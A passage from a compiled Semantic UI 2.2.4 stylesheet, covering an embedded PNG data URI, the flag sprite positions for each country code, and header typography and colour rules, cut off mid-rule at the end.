    background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABaAAAAACCAYAAACuTHuKAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyFpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNS1jMDE0IDc5LjE1MTQ4MSwgMjAxMy8wMy8xMy0xMjowOToxNSAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENDIChXaW5kb3dzKSIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo1OThBRDY4OUNDMTYxMUU0OUE3NUVGOEJDMzMzMjE2NyIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo1OThBRDY4QUNDMTYxMUU0OUE3NUVGOEJDMzMzMjE2NyI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjU5OEFENjg3Q0MxNjExRTQ5QTc1RUY4QkMzMzMyMTY3IiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjU5OEFENjg4Q0MxNjExRTQ5QTc1RUY4QkMzMzMyMTY3Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+VU513gAAADVJREFUeNrs0DENACAQBDBIWLGBJQby/mUcJn5sJXQmOQMAAAAAAJqt+2prAAAAAACg2xdgANk6BEVuJgyMAAAAAElFTkSuQmCC');
  }
}

/*******************************
         Site Overrides
*******************************/
/*!
 * # Semantic UI 2.2.4 - Flag
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

/*******************************
             Flag
*******************************/

i.flag:not(.icon) {
  display: inline-block;
  width: 16px;
  height: 11px;
  line-height: 11px;
  vertical-align: baseline;
  margin: 0em 0.5em 0em 0em;
  text-decoration: inherit;
  speak: none;
  font-smoothing: antialiased;
  -webkit-backface-visibility: hidden;
  backface-visibility: hidden;
}

/* Sprite */

i.flag:not(.icon):before {
  display: inline-block;
  content: '';
  background: url("./themes/default/assets/images/flags.png") no-repeat -108px -1976px;
  width: 16px;
  height: 11px;
}

/* Flag Sprite Based On http://www.famfamfam.com/lab/icons/flags/ */

/*******************************
         Theme Overrides
*******************************/

i.flag.ad:before,
i.flag.andorra:before {
  background-position: 0px 0px;
}

i.flag.ae:before,
i.flag.united.arab.emirates:before,
i.flag.uae:before {
  background-position: 0px -26px;
}

i.flag.af:before,
i.flag.afghanistan:before {
  background-position: 0px -52px;
}

i.flag.ag:before,
i.flag.antigua:before {
  background-position: 0px -78px;
}

i.flag.ai:before,
i.flag.anguilla:before {
  background-position: 0px -104px;
}

i.flag.al:before,
i.flag.albania:before {
  background-position: 0px -130px;
}

i.flag.am:before,
i.flag.armenia:before {
  background-position: 0px -156px;
}

i.flag.an:before,
i.flag.netherlands.antilles:before {
  background-position: 0px -182px;
}

i.flag.ao:before,
i.flag.angola:before {
  background-position: 0px -208px;
}

i.flag.ar:before,
i.flag.argentina:before {
  background-position: 0px -234px;
}

i.flag.as:before,
i.flag.american.samoa:before {
  background-position: 0px -260px;
}

i.flag.at:before,
i.flag.austria:before {
  background-position: 0px -286px;
}

i.flag.au:before,
i.flag.australia:before {
  background-position: 0px -312px;
}

i.flag.aw:before,
i.flag.aruba:before {
  background-position: 0px -338px;
}

i.flag.ax:before,
i.flag.aland.islands:before {
  background-position: 0px -364px;
}

i.flag.az:before,
i.flag.azerbaijan:before {
  background-position: 0px -390px;
}

i.flag.ba:before,
i.flag.bosnia:before {
  background-position: 0px -416px;
}

i.flag.bb:before,
i.flag.barbados:before {
  background-position: 0px -442px;
}

i.flag.bd:before,
i.flag.bangladesh:before {
  background-position: 0px -468px;
}

i.flag.be:before,
i.flag.belgium:before {
  background-position: 0px -494px;
}

i.flag.bf:before,
i.flag.burkina.faso:before {
  background-position: 0px -520px;
}

i.flag.bg:before,
i.flag.bulgaria:before {
  background-position: 0px -546px;
}

i.flag.bh:before,
i.flag.bahrain:before {
  background-position: 0px -572px;
}

i.flag.bi:before,
i.flag.burundi:before {
  background-position: 0px -598px;
}

i.flag.bj:before,
i.flag.benin:before {
  background-position: 0px -624px;
}

i.flag.bm:before,
i.flag.bermuda:before {
  background-position: 0px -650px;
}

i.flag.bn:before,
i.flag.brunei:before {
  background-position: 0px -676px;
}

i.flag.bo:before,
i.flag.bolivia:before {
  background-position: 0px -702px;
}

i.flag.br:before,
i.flag.brazil:before {
  background-position: 0px -728px;
}

i.flag.bs:before,
i.flag.bahamas:before {
  background-position: 0px -754px;
}

i.flag.bt:before,
i.flag.bhutan:before {
  background-position: 0px -780px;
}

i.flag.bv:before,
i.flag.bouvet.island:before {
  background-position: 0px -806px;
}

i.flag.bw:before,
i.flag.botswana:before {
  background-position: 0px -832px;
}

i.flag.by:before,
i.flag.belarus:before {
  background-position: 0px -858px;
}

i.flag.bz:before,
i.flag.belize:before {
  background-position: 0px -884px;
}

i.flag.ca:before,
i.flag.canada:before {
  background-position: 0px -910px;
}

i.flag.cc:before,
i.flag.cocos.islands:before {
  background-position: 0px -962px;
}

i.flag.cd:before,
i.flag.congo:before {
  background-position: 0px -988px;
}

i.flag.cf:before,
i.flag.central.african.republic:before {
  background-position: 0px -1014px;
}

i.flag.cg:before,
i.flag.congo.brazzaville:before {
  background-position: 0px -1040px;
}

i.flag.ch:before,
i.flag.switzerland:before {
  background-position: 0px -1066px;
}

i.flag.ci:before,
i.flag.cote.divoire:before {
  background-position: 0px -1092px;
}

i.flag.ck:before,
i.flag.cook.islands:before {
  background-position: 0px -1118px;
}

i.flag.cl:before,
i.flag.chile:before {
  background-position: 0px -1144px;
}

i.flag.cm:before,
i.flag.cameroon:before {
  background-position: 0px -1170px;
}

i.flag.cn:before,
i.flag.china:before {
  background-position: 0px -1196px;
}

i.flag.co:before,
i.flag.colombia:before {
  background-position: 0px -1222px;
}

i.flag.cr:before,
i.flag.costa.rica:before {
  background-position: 0px -1248px;
}

i.flag.cs:before,
i.flag.serbia:before {
  background-position: 0px -1274px;
}

i.flag.cu:before,
i.flag.cuba:before {
  background-position: 0px -1300px;
}

i.flag.cv:before,
i.flag.cape.verde:before {
  background-position: 0px -1326px;
}

i.flag.cx:before,
i.flag.christmas.island:before {
  background-position: 0px -1352px;
}

i.flag.cy:before,
i.flag.cyprus:before {
  background-position: 0px -1378px;
}

i.flag.cz:before,
i.flag.czech.republic:before {
  background-position: 0px -1404px;
}

i.flag.de:before,
i.flag.germany:before {
  background-position: 0px -1430px;
}

i.flag.dj:before,
i.flag.djibouti:before {
  background-position: 0px -1456px;
}

i.flag.dk:before,
i.flag.denmark:before {
  background-position: 0px -1482px;
}

i.flag.dm:before,
i.flag.dominica:before {
  background-position: 0px -1508px;
}

i.flag.do:before,
i.flag.dominican.republic:before {
  background-position: 0px -1534px;
}

i.flag.dz:before,
i.flag.algeria:before {
  background-position: 0px -1560px;
}

i.flag.ec:before,
i.flag.ecuador:before {
  background-position: 0px -1586px;
}

i.flag.ee:before,
i.flag.estonia:before {
  background-position: 0px -1612px;
}

i.flag.eg:before,
i.flag.egypt:before {
  background-position: 0px -1638px;
}

i.flag.eh:before,
i.flag.western.sahara:before {
  background-position: 0px -1664px;
}

i.flag.er:before,
i.flag.eritrea:before {
  background-position: 0px -1716px;
}

i.flag.es:before,
i.flag.spain:before {
  background-position: 0px -1742px;
}

i.flag.et:before,
i.flag.ethiopia:before {
  background-position: 0px -1768px;
}

i.flag.eu:before,
i.flag.european.union:before {
  background-position: 0px -1794px;
}

i.flag.fi:before,
i.flag.finland:before {
  background-position: 0px -1846px;
}

i.flag.fj:before,
i.flag.fiji:before {
  background-position: 0px -1872px;
}

i.flag.fk:before,
i.flag.falkland.islands:before {
  background-position: 0px -1898px;
}

i.flag.fm:before,
i.flag.micronesia:before {
  background-position: 0px -1924px;
}

i.flag.fo:before,
i.flag.faroe.islands:before {
  background-position: 0px -1950px;
}

i.flag.fr:before,
i.flag.france:before {
  background-position: 0px -1976px;
}

i.flag.ga:before,
i.flag.gabon:before {
  background-position: -36px 0px;
}

i.flag.gb:before,
i.flag.united.kingdom:before {
  background-position: -36px -26px;
}

i.flag.gd:before,
i.flag.grenada:before {
  background-position: -36px -52px;
}

i.flag.ge:before,
i.flag.georgia:before {
  background-position: -36px -78px;
}

i.flag.gf:before,
i.flag.french.guiana:before {
  background-position: -36px -104px;
}

i.flag.gh:before,
i.flag.ghana:before {
  background-position: -36px -130px;
}

i.flag.gi:before,
i.flag.gibraltar:before {
  background-position: -36px -156px;
}

i.flag.gl:before,
i.flag.greenland:before {
  background-position: -36px -182px;
}

i.flag.gm:before,
i.flag.gambia:before {
  background-position: -36px -208px;
}

i.flag.gn:before,
i.flag.guinea:before {
  background-position: -36px -234px;
}

i.flag.gp:before,
i.flag.guadeloupe:before {
  background-position: -36px -260px;
}

i.flag.gq:before,
i.flag.equatorial.guinea:before {
  background-position: -36px -286px;
}

i.flag.gr:before,
i.flag.greece:before {
  background-position: -36px -312px;
}

i.flag.gs:before,
i.flag.sandwich.islands:before {
  background-position: -36px -338px;
}

i.flag.gt:before,
i.flag.guatemala:before {
  background-position: -36px -364px;
}

i.flag.gu:before,
i.flag.guam:before {
  background-position: -36px -390px;
}

i.flag.gw:before,
i.flag.guinea-bissau:before {
  background-position: -36px -416px;
}

i.flag.gy:before,
i.flag.guyana:before {
  background-position: -36px -442px;
}

i.flag.hk:before,
i.flag.hong.kong:before {
  background-position: -36px -468px;
}

i.flag.hm:before,
i.flag.heard.island:before {
  background-position: -36px -494px;
}

i.flag.hn:before,
i.flag.honduras:before {
  background-position: -36px -520px;
}

i.flag.hr:before,
i.flag.croatia:before {
  background-position: -36px -546px;
}

i.flag.ht:before,
i.flag.haiti:before {
  background-position: -36px -572px;
}

i.flag.hu:before,
i.flag.hungary:before {
  background-position: -36px -598px;
}

i.flag.id:before,
i.flag.indonesia:before {
  background-position: -36px -624px;
}

i.flag.ie:before,
i.flag.ireland:before {
  background-position: -36px -650px;
}

i.flag.il:before,
i.flag.israel:before {
  background-position: -36px -676px;
}

i.flag.in:before,
i.flag.india:before {
  background-position: -36px -702px;
}

i.flag.io:before,
i.flag.indian.ocean.territory:before {
  background-position: -36px -728px;
}

i.flag.iq:before,
i.flag.iraq:before {
  background-position: -36px -754px;
}

i.flag.ir:before,
i.flag.iran:before {
  background-position: -36px -780px;
}

i.flag.is:before,
i.flag.iceland:before {
  background-position: -36px -806px;
}

i.flag.it:before,
i.flag.italy:before {
  background-position: -36px -832px;
}

i.flag.jm:before,
i.flag.jamaica:before {
  background-position: -36px -858px;
}

i.flag.jo:before,
i.flag.jordan:before {
  background-position: -36px -884px;
}

i.flag.jp:before,
i.flag.japan:before {
  background-position: -36px -910px;
}

i.flag.ke:before,
i.flag.kenya:before {
  background-position: -36px -936px;
}

i.flag.kg:before,
i.flag.kyrgyzstan:before {
  background-position: -36px -962px;
}

i.flag.kh:before,
i.flag.cambodia:before {
  background-position: -36px -988px;
}

i.flag.ki:before,
i.flag.kiribati:before {
  background-position: -36px -1014px;
}

i.flag.km:before,
i.flag.comoros:before {
  background-position: -36px -1040px;
}

i.flag.kn:before,
i.flag.saint.kitts.and.nevis:before {
  background-position: -36px -1066px;
}

i.flag.kp:before,
i.flag.north.korea:before {
  background-position: -36px -1092px;
}

i.flag.kr:before,
i.flag.south.korea:before {
  background-position: -36px -1118px;
}

i.flag.kw:before,
i.flag.kuwait:before {
  background-position: -36px -1144px;
}

i.flag.ky:before,
i.flag.cayman.islands:before {
  background-position: -36px -1170px;
}

i.flag.kz:before,
i.flag.kazakhstan:before {
  background-position: -36px -1196px;
}

i.flag.la:before,
i.flag.laos:before {
  background-position: -36px -1222px;
}

i.flag.lb:before,
i.flag.lebanon:before {
  background-position: -36px -1248px;
}

i.flag.lc:before,
i.flag.saint.lucia:before {
  background-position: -36px -1274px;
}

i.flag.li:before,
i.flag.liechtenstein:before {
  background-position: -36px -1300px;
}

i.flag.lk:before,
i.flag.sri.lanka:before {
  background-position: -36px -1326px;
}

i.flag.lr:before,
i.flag.liberia:before {
  background-position: -36px -1352px;
}

i.flag.ls:before,
i.flag.lesotho:before {
  background-position: -36px -1378px;
}

i.flag.lt:before,
i.flag.lithuania:before {
  background-position: -36px -1404px;
}

i.flag.lu:before,
i.flag.luxembourg:before {
  background-position: -36px -1430px;
}

i.flag.lv:before,
i.flag.latvia:before {
  background-position: -36px -1456px;
}

i.flag.ly:before,
i.flag.libya:before {
  background-position: -36px -1482px;
}

i.flag.ma:before,
i.flag.morocco:before {
  background-position: -36px -1508px;
}

i.flag.mc:before,
i.flag.monaco:before {
  background-position: -36px -1534px;
}

i.flag.md:before,
i.flag.moldova:before {
  background-position: -36px -1560px;
}

i.flag.me:before,
i.flag.montenegro:before {
  background-position: -36px -1586px;
}

i.flag.mg:before,
i.flag.madagascar:before {
  background-position: -36px -1613px;
}

i.flag.mh:before,
i.flag.marshall.islands:before {
  background-position: -36px -1639px;
}

i.flag.mk:before,
i.flag.macedonia:before {
  background-position: -36px -1665px;
}

i.flag.ml:before,
i.flag.mali:before {
  background-position: -36px -1691px;
}

i.flag.mm:before,
i.flag.myanmar:before,
i.flag.burma:before {
  background-position: -36px -1717px;
}

i.flag.mn:before,
i.flag.mongolia:before {
  background-position: -36px -1743px;
}

i.flag.mo:before,
i.flag.macau:before {
  background-position: -36px -1769px;
}

i.flag.mp:before,
i.flag.northern.mariana.islands:before {
  background-position: -36px -1795px;
}

i.flag.mq:before,
i.flag.martinique:before {
  background-position: -36px -1821px;
}

i.flag.mr:before,
i.flag.mauritania:before {
  background-position: -36px -1847px;
}

i.flag.ms:before,
i.flag.montserrat:before {
  background-position: -36px -1873px;
}

i.flag.mt:before,
i.flag.malta:before {
  background-position: -36px -1899px;
}

i.flag.mu:before,
i.flag.mauritius:before {
  background-position: -36px -1925px;
}

i.flag.mv:before,
i.flag.maldives:before {
  background-position: -36px -1951px;
}

i.flag.mw:before,
i.flag.malawi:before {
  background-position: -36px -1977px;
}

i.flag.mx:before,
i.flag.mexico:before {
  background-position: -72px 0px;
}

i.flag.my:before,
i.flag.malaysia:before {
  background-position: -72px -26px;
}

i.flag.mz:before,
i.flag.mozambique:before {
  background-position: -72px -52px;
}

i.flag.na:before,
i.flag.namibia:before {
  background-position: -72px -78px;
}

i.flag.nc:before,
i.flag.new.caledonia:before {
  background-position: -72px -104px;
}

i.flag.ne:before,
i.flag.niger:before {
  background-position: -72px -130px;
}

i.flag.nf:before,
i.flag.norfolk.island:before {
  background-position: -72px -156px;
}

i.flag.ng:before,
i.flag.nigeria:before {
  background-position: -72px -182px;
}

i.flag.ni:before,
i.flag.nicaragua:before {
  background-position: -72px -208px;
}

i.flag.nl:before,
i.flag.netherlands:before {
  background-position: -72px -234px;
}

i.flag.no:before,
i.flag.norway:before {
  background-position: -72px -260px;
}

i.flag.np:before,
i.flag.nepal:before {
  background-position: -72px -286px;
}

i.flag.nr:before,
i.flag.nauru:before {
  background-position: -72px -312px;
}

i.flag.nu:before,
i.flag.niue:before {
  background-position: -72px -338px;
}

i.flag.nz:before,
i.flag.new.zealand:before {
  background-position: -72px -364px;
}

i.flag.om:before,
i.flag.oman:before {
  background-position: -72px -390px;
}

i.flag.pa:before,
i.flag.panama:before {
  background-position: -72px -416px;
}

i.flag.pe:before,
i.flag.peru:before {
  background-position: -72px -442px;
}

i.flag.pf:before,
i.flag.french.polynesia:before {
  background-position: -72px -468px;
}

i.flag.pg:before,
i.flag.new.guinea:before {
  background-position: -72px -494px;
}

i.flag.ph:before,
i.flag.philippines:before {
  background-position: -72px -520px;
}

i.flag.pk:before,
i.flag.pakistan:before {
  background-position: -72px -546px;
}

i.flag.pl:before,
i.flag.poland:before {
  background-position: -72px -572px;
}

i.flag.pm:before,
i.flag.saint.pierre:before {
  background-position: -72px -598px;
}

i.flag.pn:before,
i.flag.pitcairn.islands:before {
  background-position: -72px -624px;
}

i.flag.pr:before,
i.flag.puerto.rico:before {
  background-position: -72px -650px;
}

i.flag.ps:before,
i.flag.palestine:before {
  background-position: -72px -676px;
}

i.flag.pt:before,
i.flag.portugal:before {
  background-position: -72px -702px;
}

i.flag.pw:before,
i.flag.palau:before {
  background-position: -72px -728px;
}

i.flag.py:before,
i.flag.paraguay:before {
  background-position: -72px -754px;
}

i.flag.qa:before,
i.flag.qatar:before {
  background-position: -72px -780px;
}

i.flag.re:before,
i.flag.reunion:before {
  background-position: -72px -806px;
}

i.flag.ro:before,
i.flag.romania:before {
  background-position: -72px -832px;
}

i.flag.rs:before,
i.flag.serbia:before {
  background-position: -72px -858px;
}

i.flag.ru:before,
i.flag.russia:before {
  background-position: -72px -884px;
}

i.flag.rw:before,
i.flag.rwanda:before {
  background-position: -72px -910px;
}

i.flag.sa:before,
i.flag.saudi.arabia:before {
  background-position: -72px -936px;
}

i.flag.sb:before,
i.flag.solomon.islands:before {
  background-position: -72px -962px;
}

i.flag.sc:before,
i.flag.seychelles:before {
  background-position: -72px -988px;
}

i.flag.gb.sct:before,
i.flag.scotland:before {
  background-position: -72px -1014px;
}

i.flag.sd:before,
i.flag.sudan:before {
  background-position: -72px -1040px;
}

i.flag.se:before,
i.flag.sweden:before {
  background-position: -72px -1066px;
}

i.flag.sg:before,
i.flag.singapore:before {
  background-position: -72px -1092px;
}

i.flag.sh:before,
i.flag.saint.helena:before {
  background-position: -72px -1118px;
}

i.flag.si:before,
i.flag.slovenia:before {
  background-position: -72px -1144px;
}

i.flag.sj:before,
i.flag.svalbard:before,
i.flag.jan.mayen:before {
  background-position: -72px -1170px;
}

i.flag.sk:before,
i.flag.slovakia:before {
  background-position: -72px -1196px;
}

i.flag.sl:before,
i.flag.sierra.leone:before {
  background-position: -72px -1222px;
}

i.flag.sm:before,
i.flag.san.marino:before {
  background-position: -72px -1248px;
}

i.flag.sn:before,
i.flag.senegal:before {
  background-position: -72px -1274px;
}

i.flag.so:before,
i.flag.somalia:before {
  background-position: -72px -1300px;
}

i.flag.sr:before,
i.flag.suriname:before {
  background-position: -72px -1326px;
}

i.flag.st:before,
i.flag.sao.tome:before {
  background-position: -72px -1352px;
}

i.flag.sv:before,
i.flag.el.salvador:before {
  background-position: -72px -1378px;
}

i.flag.sy:before,
i.flag.syria:before {
  background-position: -72px -1404px;
}

i.flag.sz:before,
i.flag.swaziland:before {
  background-position: -72px -1430px;
}

i.flag.tc:before,
i.flag.caicos.islands:before {
  background-position: -72px -1456px;
}

i.flag.td:before,
i.flag.chad:before {
  background-position: -72px -1482px;
}

i.flag.tf:before,
i.flag.french.territories:before {
  background-position: -72px -1508px;
}

i.flag.tg:before,
i.flag.togo:before {
  background-position: -72px -1534px;
}

i.flag.th:before,
i.flag.thailand:before {
  background-position: -72px -1560px;
}

i.flag.tj:before,
i.flag.tajikistan:before {
  background-position: -72px -1586px;
}

i.flag.tk:before,
i.flag.tokelau:before {
  background-position: -72px -1612px;
}

i.flag.tl:before,
i.flag.timorleste:before {
  background-position: -72px -1638px;
}

i.flag.tm:before,
i.flag.turkmenistan:before {
  background-position: -72px -1664px;
}

i.flag.tn:before,
i.flag.tunisia:before {
  background-position: -72px -1690px;
}

i.flag.to:before,
i.flag.tonga:before {
  background-position: -72px -1716px;
}

i.flag.tr:before,
i.flag.turkey:before {
  background-position: -72px -1742px;
}

i.flag.tt:before,
i.flag.trinidad:before {
  background-position: -72px -1768px;
}

i.flag.tv:before,
i.flag.tuvalu:before {
  background-position: -72px -1794px;
}

i.flag.tw:before,
i.flag.taiwan:before {
  background-position: -72px -1820px;
}

i.flag.tz:before,
i.flag.tanzania:before {
  background-position: -72px -1846px;
}

i.flag.ua:before,
i.flag.ukraine:before {
  background-position: -72px -1872px;
}

i.flag.ug:before,
i.flag.uganda:before {
  background-position: -72px -1898px;
}

i.flag.um:before,
i.flag.us.minor.islands:before {
  background-position: -72px -1924px;
}

i.flag.us:before,
i.flag.america:before,
i.flag.united.states:before {
  background-position: -72px -1950px;
}

i.flag.uy:before,
i.flag.uruguay:before {
  background-position: -72px -1976px;
}

i.flag.uz:before,
i.flag.uzbekistan:before {
  background-position: -108px 0px;
}

i.flag.va:before,
i.flag.vatican.city:before {
  background-position: -108px -26px;
}

i.flag.vc:before,
i.flag.saint.vincent:before {
  background-position: -108px -52px;
}

i.flag.ve:before,
i.flag.venezuela:before {
  background-position: -108px -78px;
}

i.flag.vg:before,
i.flag.british.virgin.islands:before {
  background-position: -108px -104px;
}

i.flag.vi:before,
i.flag.us.virgin.islands:before {
  background-position: -108px -130px;
}

i.flag.vn:before,
i.flag.vietnam:before {
  background-position: -108px -156px;
}

i.flag.vu:before,
i.flag.vanuatu:before {
  background-position: -108px -182px;
}

i.flag.gb.wls:before,
i.flag.wales:before {
  background-position: -108px -208px;
}

i.flag.wf:before,
i.flag.wallis.and.futuna:before {
  background-position: -108px -234px;
}

i.flag.ws:before,
i.flag.samoa:before {
  background-position: -108px -260px;
}

i.flag.ye:before,
i.flag.yemen:before {
  background-position: -108px -286px;
}

i.flag.yt:before,
i.flag.mayotte:before {
  background-position: -108px -312px;
}

i.flag.za:before,
i.flag.south.africa:before {
  background-position: -108px -338px;
}

i.flag.zm:before,
i.flag.zambia:before {
  background-position: -108px -364px;
}

i.flag.zw:before,
i.flag.zimbabwe:before {
  background-position: -108px -390px;
}

/*******************************
         Site Overrides
*******************************/
/*!
 * # Semantic UI 2.2.4 - Header
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

/*******************************
            Header
*******************************/

/* Standard */

.ui.header {
  border: none;
  margin: calc(2rem -  0.14285em ) 0em 1rem;
  padding: 0em 0em;
  
  font-weight: bold;
  line-height: 1.2857em;
  text-transform: none;
  color: rgba(0, 0, 0, 0.87);
}

.ui.header:first-child {
  margin-top: -0.14285em;
}

.ui.header:last-child {
  margin-bottom: 0em;
}

/*--------------
   Sub Header
---------------*/

.ui.header .sub.header {
  display: block;
  font-weight: normal;
  padding: 0em;
  margin: 0em;
  font-size: 1rem;
  line-height: 1.2em;
  color: rgba(0, 0, 0, 0.6);
}

/*--------------
      Icon
---------------*/

.ui.header > .icon {
  display: table-cell;
  opacity: 1;
  font-size: 1.5em;
  padding-top: 0.14285em;
  vertical-align: middle;
}

/* With Text Node */

.ui.header .icon:only-child {
  display: inline-block;
  padding: 0em;
  margin-right: 0.75rem;
}

/*-------------------
        Image
--------------------*/

.ui.header > .image,
.ui.header > img {
  display: inline-block;
  margin-top: 0.14285em;
  width: 2.5em;
  height: auto;
  vertical-align: middle;
}

.ui.header > .image:only-child,
.ui.header > img:only-child {
  margin-right: 0.75rem;
}

/*--------------
     Content
---------------*/

.ui.header .content {
  display: inline-block;
  vertical-align: top;
}

/* After Image */

.ui.header > img + .content,
.ui.header > .image + .content {
  padding-left: 0.75rem;
  vertical-align: middle;
}

/* After Icon */

.ui.header > .icon + .content {
  padding-left: 0.75rem;
  display: table-cell;
  vertical-align: middle;
}

/*--------------
 Loose Coupling
---------------*/

.ui.header .ui.label {
  font-size: '';
  margin-left: 0.5rem;
  vertical-align: middle;
}

/* Positioning */

.ui.header + p {
  margin-top: 0em;
}

/*******************************
            Types
*******************************/

/*--------------
     Page
---------------*/

h1.ui.header {
  font-size: 2rem;
}

h2.ui.header {
  font-size: 1.714rem;
}

h3.ui.header {
  font-size: 1.28rem;
}

h4.ui.header {
  font-size: 1.071rem;
}

h5.ui.header {
  font-size: 1rem;
}

/* Sub Header */

h1.ui.header .sub.header {
  font-size: 1.14285714rem;
}

h2.ui.header .sub.header {
  font-size: 1.14285714rem;
}

h3.ui.header .sub.header {
  font-size: 1rem;
}

h4.ui.header .sub.header {
  font-size: 1rem;
}

h5.ui.header .sub.header {
  font-size: 0.92857143rem;
}

/*--------------
 Content Heading
---------------*/

.ui.huge.header {
  min-height: 1em;
  font-size: 2em;
}

.ui.large.header {
  font-size: 1.714em;
}

.ui.medium.header {
  font-size: 1.28em;
}

.ui.small.header {
  font-size: 1.071em;
}

.ui.tiny.header {
  font-size: 1em;
}

/* Sub Header */

.ui.huge.header .sub.header {
  font-size: 1.14285714rem;
}

.ui.large.header .sub.header {
  font-size: 1.14285714rem;
}

.ui.header .sub.header {
  font-size: 1rem;
}

.ui.small.header .sub.header {
  font-size: 1rem;
}

.ui.tiny.header .sub.header {
  font-size: 0.92857143rem;
}

/*--------------
   Sub Heading
---------------*/

.ui.sub.header {
  padding: 0em;
  margin-bottom: 0.14285714rem;
  font-weight: bold;
  font-size: 0.85714286em;
  text-transform: uppercase;
  color: '';
}

.ui.small.sub.header {
  font-size: 0.78571429em;
}

.ui.sub.header {
  font-size: 0.85714286em;
}

.ui.large.sub.header {
  font-size: 0.92857143em;
}

.ui.huge.sub.header {
  font-size: 1em;
}

/*-------------------
        Icon
--------------------*/

.ui.icon.header {
  display: inline-block;
  text-align: center;
  margin: 2rem 0em 1rem;
}

.ui.icon.header:after {
  content: '';
  display: block;
  height: 0px;
  clear: both;
  visibility: hidden;
}

.ui.icon.header:first-child {
  margin-top: 0em;
}

.ui.icon.header .icon {
  float: none;
  display: block;
  width: auto;
  height: auto;
  line-height: 1;
  padding: 0em;
  font-size: 3em;
  margin: 0em auto 0.5rem;
  opacity: 1;
}

.ui.icon.header .content {
  display: block;
  padding: 0em;
}

.ui.icon.header .circular.icon {
  font-size: 2em;
}

.ui.icon.header .square.icon {
  font-size: 2em;
}

.ui.block.icon.header .icon {
  margin-bottom: 0em;
}

.ui.icon.header.aligned {
  margin-left: auto;
  margin-right: auto;
  display: block;
}

/*******************************
            States
*******************************/

.ui.disabled.header {
  opacity: 0.45;
}

/*******************************
           Variations
*******************************/

/*-------------------
      Inverted
--------------------*/

.ui.inverted.header {
  color: #FFFFFF;
}

.ui.inverted.header .sub.header {
  color: rgba(255, 255, 255, 0.8);
}

.ui.inverted.attached.header {
  background: #545454 -webkit-linear-gradient(transparent, rgba(0, 0, 0, 0.05));
  background: #545454 linear-gradient(transparent, rgba(0, 0, 0, 0.05));
  box-shadow: none;
  border-color: transparent;
}

.ui.inverted.block.header {
  background: #545454 -webkit-linear-gradient(transparent, rgba(0, 0, 0, 0.05));
  background: #545454 linear-gradient(transparent, rgba(0, 0, 0, 0.05));
  box-shadow: none;
}

.ui.inverted.block.header {
  border-bottom: none;
}

/*-------------------
       Colors
--------------------*/

/*--- Red ---*/

.ui.red.header {
  color: #DB2828 !important;
}

a.ui.red.header:hover {
  color: #d01919 !important;
}

.ui.red.dividing.header {
  border-bottom: 2px solid #DB2828;
}

/* Inverted */

.ui.inverted.red.header {
  color: #FF695E !important;
}

a.ui.inverted.red.header:hover {
  color: #ff5144 !important;
}

/*--- Orange ---*/

.ui.orange.header {
  color: #F2711C !important;
}

a.ui.orange.header:hover {
  color: #f26202 !important;
}

.ui.orange.dividing.header {
  border-bottom: 2px solid #F2711C;
}

/* Inverted */

.ui.inverted.orange.header {
  color: #FF851B !important;
}

a.ui.inverted.orange.header:hover {
  color: #ff7701 !important;
}

/*--- Olive ---*/

.ui.olive.header {
  color: #B5CC18 !important;
}

a.ui.olive.header:hover {
  color: #a7bd0d !important;
}

.ui.olive.dividing.header {
  border-bottom: 2px solid #B5CC18;
}

/* Inverted */

.ui.inverted.olive.header {
  color: #D9E778 !important;
}

a.ui.inverted.olive.header:hover {
  color: #d8ea5c !important;
}

/*--- Yellow ---*/

.ui.yellow.header {
  color: #FBBD08 !important;
}

a.ui.yellow.header:hover {
  color: #eaae00 !important;
}

.ui.yellow.dividing.header {
  border-bottom: 2px solid #FBBD08;
}

/* Inverted */

.ui.inverted.yellow.header {
  color: #FFE21F !important;
}

a.ui.inverted.yellow.header:hover {
  color: #ffdf05 !important;
}

/*--- Green ---*/

.ui.green.header {
  color: #21BA45 !important;
}

a.ui.green.header:hover {
  color: #16ab39 !important;
}

.ui.green.dividing.header {
  border-bottom: 2px solid #21BA45;
}

/* Inverted */

.ui.inverted.green.header {
  color: #2ECC40 !important;
}

a.ui.inverted.green.header:hover {
  color: #22be34 !important;
}

/*--- Teal ---*/

.ui.teal.header {
  color: #00B5AD !important;
}

a.ui.teal.header:hover {
  color: #009c95 !important;
}

.ui.teal.dividing.header {
  border-bottom: 2px solid #00B5AD;
}

/* Inverted */

.ui.inverted.teal.header {
  color: #6DFFFF !important;
}

a.ui.inverted.teal.header:hover {
  color: #54ffff !important;
}

/*--- Blue ---*/

.ui.blue.header {
  color: #2185D0 !important;
}

a.ui.blue.header:hover {
  color: #1678c2 !important;
}

.ui.blue.dividing.header {
  border-bottom: 2px solid #2185D0;
}

/* Inverted */

.ui.inverted.blue.header {
